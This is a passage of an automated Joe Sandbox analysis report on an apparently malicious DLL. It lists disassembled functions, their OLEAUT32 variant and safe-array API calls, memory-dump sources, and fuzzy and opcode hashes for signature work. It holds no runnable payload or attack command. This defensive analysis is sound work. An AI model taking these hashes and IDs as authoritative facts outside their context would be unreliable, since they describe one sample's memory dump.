SafeArrayPutElement.OLEAUT32(00000000,00000001,?), ref: 6D02CC77
SafeArrayDestroy.OLEAUT32(00000000), ref: 6D02CCEC
VariantClear.OLEAUT32(?), ref: 6D02CCFC
VariantClear.OLEAUT32(?), ref: 6D02CD02

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArraySafe$Variant$Element$Clear$CreateInitVector$Destroy
String ID:
API String ID: 3548156019-0
Opcode ID: 625c4d8e191e44ce236b07736b0815823d7695c3cf802167ef1eddc1ab3426ef
Instruction ID: 4e26489b9fcbf31101595732dbeed62373d63ddf9d6309b83ffc99eaf7045581
Opcode Fuzzy Hash: 625c4d8e191e44ce236b07736b0815823d7695c3cf802167ef1eddc1ab3426ef
Instruction Fuzzy Hash: B25132B5D00249AFDB00DFA4C884EEEBBB9FF49714F10816AEA15A7341D771E905CBA4

Function 6D01A350 Relevance: 16.7, APIs: 11, Instructions: 206
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 6D01A393
VariantInit.OLEAUT32(?), ref: 6D01A39A
VariantInit.OLEAUT32(?), ref: 6D01A3A1
VariantCopy.OLEAUT32(?,?), ref: 6D01A3EF
VariantClear.OLEAUT32(?), ref: 6D01A409
VariantClear.OLEAUT32(?), ref: 6D01A50A
VariantClear.OLEAUT32(?), ref: 6D01A511
VariantClear.OLEAUT32(?), ref: 6D01A518
VariantClear.OLEAUT32(?), ref: 6D01A55E
VariantClear.OLEAUT32(?), ref: 6D01A565
VariantClear.OLEAUT32(?), ref: 6D01A56C

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Variant$Clear$Init$Copy
String ID:
API String ID: 3214764494-0
Opcode ID: c8aa8ca603ddbcbebd21f49550ad8778620104364df3595971650dbe79e3f6d3
Instruction ID: 34948b5fc2f1001c4c8e0e11822f02116697f270096b14868fe15c830f67351b
Opcode Fuzzy Hash: c8aa8ca603ddbcbebd21f49550ad8778620104364df3595971650dbe79e3f6d3
Instruction Fuzzy Hash: 4C7137726083419FE700DFA9C880F5AB7E8BF89714F10895DFA55CB291D731E905CB62

Function 6D0249B0 Relevance: 15.2, APIs: 10, Instructions: 174
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(6D0805A8), ref: 6D0249EE
VariantInit.OLEAUT32(?), ref: 6D0249F7
VariantInit.OLEAUT32(?), ref: 6D0249FD
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6D024A08
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6D024A39
VariantClear.OLEAUT32(?), ref: 6D024A45
SafeArrayDestroy.OLEAUT32(00000000), ref: 6D024B66
VariantClear.OLEAUT32(?), ref: 6D024B76
VariantClear.OLEAUT32(?), ref: 6D024B7C
VariantClear.OLEAUT32(6D0805A8), ref: 6D024B82

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Variant$Clear$ArrayInitSafe$CreateDestroyElementVector
String ID:
API String ID: 2515392200-0
Opcode ID: 5c0c7b5c223ba7d459c733f8f9a242239aa708217516cb45c2241984639825de
Instruction ID: 159641b49a7b3ca175e4628023666abf017fa221d838c7aa8fe091f15f39f3eb
Opcode Fuzzy Hash: 5c0c7b5c223ba7d459c733f8f9a242239aa708217516cb45c2241984639825de
Instruction Fuzzy Hash: 2C515C76A0421AAFDB05DFA4CC84FAEB7BDFF99310F044169E915AB244D735E901CBA0

Function 6D0247D0 Relevance: 15.2, APIs: 10, Instructions: 168
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 6D02480C
VariantInit.OLEAUT32(?), ref: 6D024815
VariantInit.OLEAUT32(?), ref: 6D02481B
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6D024826
SafeArrayPutElement.OLEAUT32(00000000,000000FF,?), ref: 6D02485B
VariantClear.OLEAUT32(?), ref: 6D024868
SafeArrayDestroy.OLEAUT32(00000000), ref: 6D024974
VariantClear.OLEAUT32(?), ref: 6D024984
VariantClear.OLEAUT32(?), ref: 6D02498A
VariantClear.OLEAUT32(?), ref: 6D024990

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Variant$Clear$ArrayInitSafe$CreateDestroyElementVector
String ID:
API String ID: 2515392200-0
Opcode ID: 1713b1d2f43c9a980aa585ff0c06fc36134b87939b1b7c2e6bbb576a605fa031
Instruction ID: 18c92196bd157cfb2cf65f003a7875deae67f662fb1921a57b86f5b0da248794
Opcode Fuzzy Hash: 1713b1d2f43c9a980aa585ff0c06fc36134b87939b1b7c2e6bbb576a605fa031
Instruction Fuzzy Hash: 1C517B72904209AFDB04DFA8CC80EAEB7B9FF99310F15456DE606EB640D730E905CBA0

Function 6D0266A0 Relevance: 15.2, APIs: 10, Instructions: 155
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32 ref: 6D0266DB
VariantInit.OLEAUT32 ref: 6D0266EA
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000002), ref: 6D026700
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6D02673A
VariantClear.OLEAUT32(?), ref: 6D026747
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6D026787
VariantClear.OLEAUT32(?), ref: 6D026794
SafeArrayDestroy.OLEAUT32(00000000), ref: 6D026849
VariantClear.OLEAUT32(?), ref: 6D02685A
VariantClear.OLEAUT32(?), ref: 6D026861

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Variant$ArrayClearSafe$ElementInit$CreateDestroyVector
String ID:
API String ID: 551789342-0
Opcode ID: b274a2f7b151074189b0ca44e60457848f8c456effb89fe40e940069aee3b25f
Instruction ID: 7b3be7f82fe018d3fcfb0c8cf69f9835443da5d176031b9304d55e2e4045ee50
Opcode Fuzzy Hash: b274a2f7b151074189b0ca44e60457848f8c456effb89fe40e940069aee3b25f
Instruction Fuzzy Hash: A2515976109206AFDB00CF64C844B5BBBF9EFC9714F01865DF9559B250DB30E905CBA2

Function 6D024170 Relevance: 13.8, APIs: 9, Instructions: 277COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6D0241AF
VariantInit.OLEAUT32(?), ref: 6D0241B5
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6D0241C0
SafeArrayPutElement.OLEAUT32(00000000,00000000,?), ref: 6D0241F5
VariantClear.OLEAUT32(?), ref: 6D024201
std::tr1::_Xweak.LIBCPMT ref: 6D024450
SafeArrayDestroy.OLEAUT32(?), ref: 6D02446D
VariantClear.OLEAUT32(?), ref: 6D02447D
VariantClear.OLEAUT32(?), ref: 6D024483

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Variant$ArrayClearSafe$Init$CreateDestroyElementVectorXweakstd::tr1::_
String ID:
API String ID: 1774866819-0
Opcode ID: cc5727b2629deb3d238ef06c24d00d556c2ee6e9326bad0d77fa9fd16e7d905d
Instruction ID: 365909309ad173f3f468b543782ae97fbf2af49f64a12e6681035891403674cd
Opcode Fuzzy Hash: cc5727b2629deb3d238ef06c24d00d556c2ee6e9326bad0d77fa9fd16e7d905d
Instruction Fuzzy Hash: FEB13875600609AFDB14DF98C884EBAB7F9BF8D310F15856CE50AAB791DA34F841CB60

Function 6D02C530 Relevance: 13.8, APIs: 9, Instructions: 259COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6D02C56F
VariantInit.OLEAUT32(?), ref: 6D02C575
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6D02C580
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6D02C5B5
VariantClear.OLEAUT32(?), ref: 6D02C5C1
std::tr1::_Xweak.LIBCPMT ref: 6D02C7D4
SafeArrayDestroy.OLEAUT32(?), ref: 6D02C7F1
VariantClear.OLEAUT32(?), ref: 6D02C801
VariantClear.OLEAUT32(?), ref: 6D02C807

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Variant$ArrayClearSafe$Init$CreateDestroyElementVectorXweakstd::tr1::_
String ID:
API String ID: 1774866819-0
Opcode ID: e0d15d691de598d03b70e9f92beba34e6d231a1471fc16714cd1992fa4eac9cb
Instruction ID: 92d8073afdbde6e9330700f25d88a323657c9fafda5711d447b82051a06b6dc7
Opcode Fuzzy Hash: e0d15d691de598d03b70e9f92beba34e6d231a1471fc16714cd1992fa4eac9cb
Instruction Fuzzy Hash: 9FA1397560060AAFDB14DF98C884EAAB7F9BF8D310F15856CE506AB791DB34F841CB60

Function 6D026880 Relevance: 13.6, APIs: 9, Instructions: 117COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6D0268B2
VariantInit.OLEAUT32(?), ref: 6D0268BD
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000002), ref: 6D0268D7
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6D0268FD
VariantClear.OLEAUT32(?), ref: 6D026909
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6D026923
SafeArrayDestroy.OLEAUT32(00000000), ref: 6D026981
VariantClear.OLEAUT32(?), ref: 6D02699E
VariantClear.OLEAUT32(?), ref: 6D0269A4

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Variant$ArraySafe$Clear$ElementInit$CreateDestroyVector
String ID:
API String ID: 3529038988-0
Opcode ID: 21a65ee27d4049effc1de2d143c89a7934e5d665541e94fc307c735fda053aad
Instruction ID: c15f1eeaa70cc996946e4d38e0c3be4adbbaa4e22edc1b7e0eed0d19e8b5b0b6
Opcode Fuzzy Hash: 21a65ee27d4049effc1de2d143c89a7934e5d665541e94fc307c735fda053aad
Instruction Fuzzy Hash: 8A4161B2900209AFDF00DFA4C884BEEBBBDFF99710F154119E905A7240E775E905CBA0

Function 6D01C020 Relevance: 12.3, APIs: 8, Instructions: 309COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6D01C074
VariantInit.OLEAUT32(?), ref: 6D01C07B
VariantInit.OLEAUT32(?), ref: 6D01C082
VariantInit.OLEAUT32(?), ref: 6D01C089
VariantClear.OLEAUT32(?), ref: 6D01C312
VariantClear.OLEAUT32(?), ref: 6D01C319
VariantClear.OLEAUT32(?), ref: 6D01C320
VariantClear.OLEAUT32(?), ref: 6D01C327

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Variant$ClearInit
String ID:
API String ID: 2610073882-0
Opcode ID: 8a4b6a4b30ae04fb0fbdde8ed54087d55569804dbe94109af0b34c60f49eb967
Instruction ID: c7c9b291a7dccb8b84b97e93defa746b18c600417d54be310002838f45e29072
Opcode Fuzzy Hash: 8a4b6a4b30ae04fb0fbdde8ed54087d55569804dbe94109af0b34c60f49eb967
Instruction Fuzzy Hash: CAC146716087019FE301DFA8C880A2AF7E5FFC9704F248A5DF9989B265D731E845CB96

Function 6D026B10 Relevance: 9.4, APIs: 6, Instructions: 364COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(00000000,?,?), ref: 6D026C8B
SafeArrayGetUBound.OLEAUT32(00000000,?,?), ref: 6D026CA6
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 6D026CC7

Part of subcall function 6D025760: std::tr1::_Xweak.LIBCPMT ref: 6D025769

SafeArrayUnaccessData.OLEAUT32(00000000), ref: 6D026CF9

Part of subcall function 6D069BB5: _malloc.LIBCMT ref: 6D069BCF

SafeArrayDestroy.OLEAUT32(00000000), ref: 6D026F13
InterlockedCompareExchange.KERNEL32(6D0AC6A4,45524548,4B4F4F4C), ref: 6D026F34

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArraySafe$BoundData$AccessCompareDestroyExchangeInterlockedUnaccessXweak_mallocstd::tr1::_
String ID:
API String ID: 2722669376-0
Opcode ID: 905ee3f90f0f2e89a0b19484df78ca1cde11c7158d72f40e3a2a5ae4e72219d9
Instruction ID: 305b69ec9f965e8cd9aeae92020f224132c5d06a904126755183ee12e03d1991
Opcode Fuzzy Hash: 905ee3f90f0f2e89a0b19484df78ca1cde11c7158d72f40e3a2a5ae4e72219d9
Instruction Fuzzy Hash: CFD1D075A052069FFF11CFA4CC94BAE77F8AF45304F568469EA05AB285D774E800CBE1

Function 6D0116B0 Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 487COMMON

Download Yara Rule

APIs

Part of subcall function 6D069BB5: _malloc.LIBCMT ref: 6D069BCF

std::tr1::_Xweak.LIBCPMT ref: 6D011B53
std::_Xinvalid_argument.LIBCPMT ref: 6D011B5D
std::exception::exception.LIBCMT ref: 6D011C43
__CxxThrowException@8.LIBCMT ref: 6D011C58

Strings

invalid vector<T> subscript, xrefs: 6D011B58

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Exception@8ThrowXinvalid_argumentXweak_mallocstd::_std::exception::exceptionstd::tr1::_
String ID: invalid vector<T> subscript
API String ID: 3098024973-3016609489
Opcode ID: 957ac6aba7bdacc19855007cfd72dde4571b49fa675d28564f797c67e3dd7a69
Instruction ID: 484df883bae84afc497fd4bc4ef81997553af5adafb00e21a11b4c4936bd6091
Opcode Fuzzy Hash: 957ac6aba7bdacc19855007cfd72dde4571b49fa675d28564f797c67e3dd7a69
Instruction Fuzzy Hash: 30225B75C0430A9FDB24CFE4C480AEEBBF5BF44314F118A5DD55AAB650E774AA88CB90

Function 02EBB258 Relevance: 7.8, Strings: 6, Instructions: 323COMMON

Download Yara Rule

Strings

,bq, xrefs: 02EBB37C
(o^q, xrefs: 02EBB39E
d8cq, xrefs: 02EBB708
Hbq, xrefs: 02EBB619
(o^q, xrefs: 02EBB3AA
,bq, xrefs: 02EBB370

Memory Dump Source

Source File: 00000000.00000002.1763634407.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2eb0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$,bq$,bq$Hbq$d8cq
API String ID: 0-1626189073
Opcode ID: cb8397bf5d815a8f1af17671fae74dc1984980c73fef138fe546de1dae2221fd
Instruction ID: 9feff3fae2059de66e8abcbfa8c55b7721dd46dcf22dccb12f14e97517d83d7d
Opcode Fuzzy Hash: cb8397bf5d815a8f1af17671fae74dc1984980c73fef138fe546de1dae2221fd
Instruction Fuzzy Hash: 9FC14D34B401188FCB159F69D958AAF7BF6BF88348F149469E905EB3A0DB30DC41CB91

Function 6D01DB30 Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(6D0231EC), ref: 6D01DB5E
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6D01DB6E
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6D01DB82
SafeArrayDestroy.OLEAUT32(00000000), ref: 6D01DBF1
VariantClear.OLEAUT32(?), ref: 6D01DBFB

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArraySafe$Variant$ClearCreateDestroyElementInitVector
String ID:
API String ID: 182531043-0
Opcode ID: d0ded9438e5aca6ae866570404eedd3958431eb8eafaafa49a1b412bdb0f18ec
Instruction ID: 8a07f52cfa88e89e697b24028d29a11180b3993699606bb5714b772fd312650c
Opcode Fuzzy Hash: d0ded9438e5aca6ae866570404eedd3958431eb8eafaafa49a1b412bdb0f18ec
Instruction Fuzzy Hash: 78315E7AA04205AFDB00DF95C884FEEB7F9EF9A721F15815AE911A7340D735A901CBA0

Function 6D06A42D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

__CRT_INIT@12.LIBCMT ref: 6D06A463
__CRT_INIT@12.LIBCMT ref: 6D06A493
__CRT_INIT@12.LIBCMT ref: 6D06A4B3

Strings

a0, xrefs: 6D06A4FF

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
